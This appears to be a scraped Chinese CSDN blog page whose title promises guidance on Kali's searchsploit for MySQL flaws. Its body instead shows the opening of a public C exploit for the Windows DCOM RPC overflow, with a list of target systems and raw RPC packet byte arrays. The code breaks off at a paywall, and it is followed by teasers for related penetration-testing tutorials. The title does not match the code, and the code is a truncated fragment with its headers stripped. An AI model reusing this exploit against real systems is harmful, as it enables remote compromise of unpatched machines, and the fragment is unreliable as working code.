kali mysql漏洞_如何使用kali的Searchsploit查找软件漏洞

最新推荐文章于 2024-04-30 14:00:59 发布
最新推荐文章于 2024-04-30 14:00:59 发布
阅读量215 收藏
点赞数
文章标签： kali mysql漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_35759767/article/details/114722809
版权

/*DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code

Written by H D Moore

- Usage: ./dcom

- Targets:

- 0 Windows 2000 SP0 (english)

- 1 Windows 2000 SP1 (english)

- 2 Windows 2000 SP2 (english)

- 3 Windows 2000 SP3 (english)

- 4 Windows 2000 SP4 (english)

- 5 Windows XP SP0 (english)

- 6 Windows XP SP1 (english)*/#include#include#include#include#include#include#include#include#include#include#includeunsignedchar bindstr[]={0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsignedchar request1[]={0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0x

最低0.47元/天 解锁文章
Orca是只鲸
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
kali nmap mysql数据库_在Kali Linux下实战Nmap（网络安全扫描器）
weixin_33626238的博客
02-17 186
在这第二篇 Kali Linux 文章中, 将讨论称为 ‘nmap‘ 的网络工具。虽然 nmap 不是 Kali 下唯一的一个工具，但它是最有用的网络映射工具之一。第一部分-为初学者准备的Kali Linux安装指南Nmap， 是 Network Mapper 的缩写，由 Gordon Lyon 维护(更多关于 Mr. Lyon 的信息在这里:http://insecure.org/fyodor/...
Kali学习 | 漏洞利用：4.5 渗透攻击MySQL数据库服务
qq_43233085的博客
01-10 2086
Kali学习 | 漏洞利用：4.5 渗透攻击MySQL数据库服务MySQL介绍操作步骤 MySQL介绍 MySQL是一个关系型数据库管理系统，由瑞典MySQLAB公司开发，目前属于Oracle公司。 在Metasploitable系统中，MySQL的身份认证存在漏洞。 该漏洞有可能会让潜在的攻击者不必提供正确的身份证书便可访问MySQL数据库。 所以，用户可以利用该漏洞，对MySQL服务进行渗透攻...
2021Kali系列 -- 漏洞搜索(searchsploit)
weixin_41489908的博客
04-22 4018
我以为我不理你，你会难过，可结果呢，难过的是我。。。 ---- 网易云热评 简介：通过搜索关键词找到需要的漏洞，可以理解为一个离线的漏洞库 一、命令 searchsploit 1、-c --case搜索时区分大小写，默认不区分大小写 2、-e --exact 精确搜索，比如：搜索“ WordPress 4.1”时，结果绝对不会出现 “WordPress Core 4.1” 3、-s --strict 精确搜索，输入值必须存在 4、-t --tittle搜索exploit标题 5、-...
searchsploit 在kali搜索漏洞库的使用技巧
weixin_43822401的博客
04-30 334
m, --mirror [EDB-ID] 将一个漏洞利用镜像-（副本）到当前工作目录，后面跟漏洞 ID 号。-w, --www [Term] 显示 Exploit-DB.com 的 URL 而不是本地路径（在线搜索）-p, --path [EDB-ID] 显示漏洞利用的完整路径（如果可能，还将路径复制到剪贴板）后。-x, --examine [EDB-ID] 使用$PAGER 检查（副本）漏洞利用。-t, --title [Term] 仅仅搜索漏洞标题（默认是标题和文件的路径）
searchsploit使用攻略
weixin_34197488的博客
07-08 624
searchsploit使用攻略在提权过程中需要通过掌握的信息来对系统、软件等存在的漏洞进行搜索，获取其利用的poc，通过编译后，实施提权。searchsploit提供漏洞本地和在线查询，是***测试中提权的重要武器。1.1searchsploit简介Exploit Database（https://github.com/offensive-security/exploit-database）这是...
searchsploit使用
热门推荐
qq_38243607的博客
07-05 1万+
“searchsploit”是一个用于Exploit-DB的命令行搜索工具，可以帮助我们查找渗透模块。 Exploit-DB是一个漏洞库，Kali Linux中保存了一个该漏洞库的拷贝，利用上面提到的命令就可以查找需要的渗透模块，它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的，在没有网络的情况下也可以使用。 基本搜索方法就是searchsploit+可能包含漏洞的软件/系统等等，对应回显存在的漏洞和用于渗透的脚本。 参数 直接输入searchspliot可以看到该命令相关的参数：
49-49.渗透测试-Kali Linux漏洞扫描.mp4
最新发布
05-10
49-49.渗透测试-Kali Linux漏洞扫描.mp4
minidwep-gtk-kali_40420_amd64.deb
05-22
本工具（水滴minidwep-gtk）仅仅只用于个人无线网络渗透测试，严禁其他任何用途！！
Kali_Linux_AMD64.torrent
08-20
Kali系统官网种子
kali-linux-wireless-pentest_kali使用指南_productg6t_kali_kali-linux-
10-01
kali Linux详细指南，后续在更新
SearchSploit漏洞查找工具使用指南
大方子
10-04 7551
什么是SearchSploit： “searchsploit”是一个用于Exploit-DB的命令行搜索工具，它还允许你随身带一份Exploit-DB的副本。 SearchSploit为您提供了在本地保存的存储库中执行详细的离线搜索的能力。这种能力特别适用于在没有互联网接入的情况下对网络进行安全评估。许多漏洞都包含了二进制文件的链接，这些文件不包含在标准存储库中，但可以在我们的Exploit-...
kali linux对Metasploitable2漏洞利用，mysql爆力破解 笔记
边城浪子的博客
09-19 1208
MySQL是一个关系型数据库管理系统，由瑞典MySQL AB 公司开发，目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一，在 WEB 应用方面，MySQL是最好的 RDBMS (Relational Database Management System，关系数据库管理系统) 应用软件。 MySQL是一种关系数据库管理系统，关系数据库将数据保存在不同的表中，而不是将所...
网络安全之searchsploit的使用
qq_44005305的博客
02-23 592
searchsploit是一个用于Exploit-DB的命令行搜索工具，可以帮助我们查找渗透模块。）这是Offensive Security（）赞助的一个项目。存储了大量的漏洞利用程序，可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作，目前是世界上公开收集漏洞最全的数据库，该仓库每天都会更新，exploit-db提供searchsploit利用files.csv进行搜索离线漏洞库文件的位置。
【网络安全】searchsploit的使用
2201_75857562的博客
02-09 723
是一个用于Exploit-DB的命令行搜索工具，可以帮助我们查找渗透模块。）这是Offensive Security（）赞助的一个项目。存储了大量的漏洞利用程序，可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作，目前是世界上公开收集漏洞最全的数据库，该仓库每天都会更新，exploit-db提供searchsploit利用files.csv进行搜索离线漏洞库文件的位置。
kali踩坑指北--searchsploit
weixin_43130853的博客
12-08 2194
一 ·参数介绍： -c, --case [Term] 区分大小写(默认不区分大小写) -e, --exact[Term] 对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"]. -h, --help 显示帮助 -j, --json [Term] 以JSON格式显示结果 -m, --mirror [EDB-ID] 把一个exp拷贝到当前工作目录,参数后加目标id -o, --overflow [Term] Exploit标题被允许溢出其列 -p, --path
信息收集 -- 漏洞情报(searchsploit)
weixin_41489908的博客
11-04 1286
小时候骗妈妈和朋友偷偷出去玩，现在骗朋友说妈妈不让出去，可是小时候只是单纯的贪玩，而长大却是人情世故委婉拒绝。。。。 ---- 网易云热评 一、运行环境：kali2020 二、参数介绍： -c, --case [Term] 区分大小写(默认不区分大小写) -e, --exact[Term] 对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"]. -h, --help 显示帮助 -j, --json [Term] 以JSON格式显示结果 -m, --mir.
Searchsploit
weixin_44110913的博客
07-27 1837
　　Searchsploit 　　Searchsploit会通过本地的exploit-db， 查找软件漏洞信息 　　打开kali的命令行， 输入： searchsploit 　　查看系统帮助 　　查找mssql的漏洞 　　如果要查找 mssql的漏洞， 命令如下， 会找到所有和mssql相关的漏洞信息， 后面还有相关的漏洞描述信息： searchsploit mssql   　　要看相关的漏洞描述， 如果要看mysql7.0的远程DOS漏洞 ， 把漏洞描述后面的路径用编辑器打开...
如何使用kali的Searchsploit查找软件漏洞
06-10
首先，你需要确保已经安装了 Searchsploit 工具。在 Kali Linux 中，默认已经预装了该工具。 接下来，你可以按照以下步骤使用 Searchsploit 工具查找软件漏洞： 1. 打开终端并输入 searchsploit 命令，等待工具初始化完成。 2. 输入 searchsploit <软件名称> 命令并按下回车键，该命令将搜索该软件的漏洞信息。例如，如果你想搜索 WordPress 的漏洞信息，可以输入 searchsploit wordpress。 3. 如果你想查看漏洞的详细信息，可以通过输入 searchsploit -x <漏洞 ID> 命令来查看。例如，如果你想查看漏洞 ID 为 12345 的漏洞的详细信息，可以输入 searchsploit -x 12345。 4. 如果你想将搜索结果保存到文件中，可以使用 -o 选项。例如，如果你想将搜索结果保存到名为 result.txt 的文件中，可以输入 searchsploit wordpress -o result.txt。 总之，使用 Searchsploit 工具可以帮助你快速查找软件漏洞和相关信息，以便进行漏洞利用和安全测试。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值